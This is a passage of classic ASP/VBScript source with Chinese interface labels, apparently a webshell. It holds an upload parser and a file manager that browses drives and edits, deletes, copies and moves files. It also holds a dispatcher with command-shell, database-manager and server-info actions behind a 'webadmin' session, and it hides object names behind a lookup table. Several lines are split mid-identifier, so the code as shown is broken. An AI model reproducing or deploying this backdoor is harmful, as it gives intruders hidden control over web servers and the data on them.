Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=Create
Object(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = Create
Object(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=Create
Object(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = Create
Object(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=Create
Object(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=Create
Object(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='
javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a>"
SI=SI&"</td></tr>"
Next
ShowDriver=SI
End Function
Function ShowFile(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#EFEFEF'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height='20'> "
SI=SI&" <a href='
javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a>"
SI=SI&" | <a href='
javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")'
onclick='return yesok()' class='am' title='删除'>D</a>"
SI=SI&" <a href='
javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")'
onclick='return yesok()' class='am' title='复制'>C</a>"
SI=SI&" <a href='
javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")'
onclick='return yesok()' class='am' title='移动'>M</a>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=5></td></tr></table>"
Response.Write SI : SI=""
For Each L in Fold.files
SI="<table width='100%' border='0' cellspacing='1' cellpadding='0'>"
SI=SI&"<tr
onMouseOver=""this.className='tr'""
onMouseOut=""this.className=''"">"
SI=SI&"<td height='20'> "
SI=SI&"<a href='
javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'>"&L.Name&"</a></td>"
SI=SI&"<td width='200'>"&L.Type&"</td>"
SI=SI&"<td width='50'>"&clng(L.size/1024)&"K</td>"
SI=SI&"<td width='160'>"&L.DateLastModified&"</td>"
SI=SI&"<td width='40' align=""center""><a href='
javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>edit</a></td>"
SI=SI&"<td width='40' align=""center""><a href='
javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")'
onclick='return yesok()' class='am' title='删除'>del</a></td>"
SI=SI&"<td width='40' align=""center""><a href='
javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>copy</a></td>"
SI=SI&"<td width='40' align=""center""><a href='
javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>move</a></td>"
SI=SI&"</tr></table>"
Response.Write SI : SI=""
Next
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="<center><br><br><br>文件 "&Path&" 删除成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="<center><br><br><br>文件保存成功！</center>"
SI=SI&BackUrl
Response.Write SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If
SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>"
SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>"
SI=SI&"<input name='Action' value='EditFile' Type='hidden'>"
SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>"
SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>"
SI=SI&"<hr><input name='goback' type='button' value='返回'
onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></form>"
SI=SI&"</td></tr></table></body></html>"
Response.Write SI
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path(0)&"复制成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path(0)&"移动成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
SI="<center><br><br><br>目录"&Path&"删除成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path(0)&"复制成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path(0)&"移动成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
Function NewFolder(Path)
If Not CF.FolderExists(Path) and Path<>"" Then
CF.CreateFolder Path
SI="<center><br><br><br>目录"&Path&"新建成功！</center>"
SI=SI&BackUrl
Response.Write SI
End If
End Function
End Class
Select Case Action
Case "MainMenu":MainMenu()
Case "ShowFile"
Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
Case "DownFile":DownFile FName:ShowErr()
Case "DelFile"
Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
Case "EditFile"
Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
Case "CopyFile"
Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
Case "MoveFile"
Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
Case "DelFolder"
Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
Case "CopyFolder"
Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
Case "MoveFolder"
Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
Case "NewFolder"
Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
Case "UpFile":UpFile()
Case "CmdShell":CmdShell()
Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL
Case "CreateMdb":CreateMdb FName
Case "CompactMdb":CompactMdb FName
Case "DbManager":DbManager()
Case "Course":Course()
Case "ServerInfo":ServerInfo()
Case Else MainForm()
End Select
ShowErr()
%>
